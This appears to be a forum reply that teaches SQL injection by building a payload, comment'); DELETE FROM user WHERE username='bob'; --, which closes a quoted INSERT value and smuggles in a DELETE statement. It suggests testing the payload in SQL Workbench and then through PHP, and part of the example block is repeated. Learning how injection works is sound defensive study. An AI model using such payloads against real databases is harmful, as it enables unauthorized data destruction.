For example, start with something like this:
Code:
INSERT INTO txtcomment (id,comment) VALUES (10, '<A comment>');
Then replace the <A comment> (but leave the single quotes there) with what you would normally use for SQL injection. For example:
Code:
-- Deleting the row containing the username 'bob' from the user table
-- Code to do this is: DELETE FROM user WHERE username='bob'
-- So the injection code would be: comment'); DELETE FROM user WHERE username='bob'; --
-- Note: There is a space at the very end of the SQL injection code!!!
INSERT INTO txtcomment (id,comment) VALUES (10, 'comment'); DELETE FROM user WHERE username='bob'; -- ');
-- Code to do this is: DELETE FROM user WHERE username='bob'
-- So the injection code would be: comment'); DELETE FROM user WHERE username='bob'; --
-- Note: There is a space at the very end of the SQL injection code!!!
INSERT INTO txtcomment (id,comment) VALUES (10, 'comment'); DELETE FROM user WHERE username='bob'; -- ');
As you can see:
Code:
comment'); DELETE FROM user WHERE username='bob'; --
Would be your SQLi code (including the space at the end)Then, once it works in SQL Workbench, try to do the same thing through PHP. MySQL will often give you more meaningful error messages and you don't have to worry about PHP...
Does this make sense?




Recent Posts



Programming : Finished Python Course in Codecademy now what?





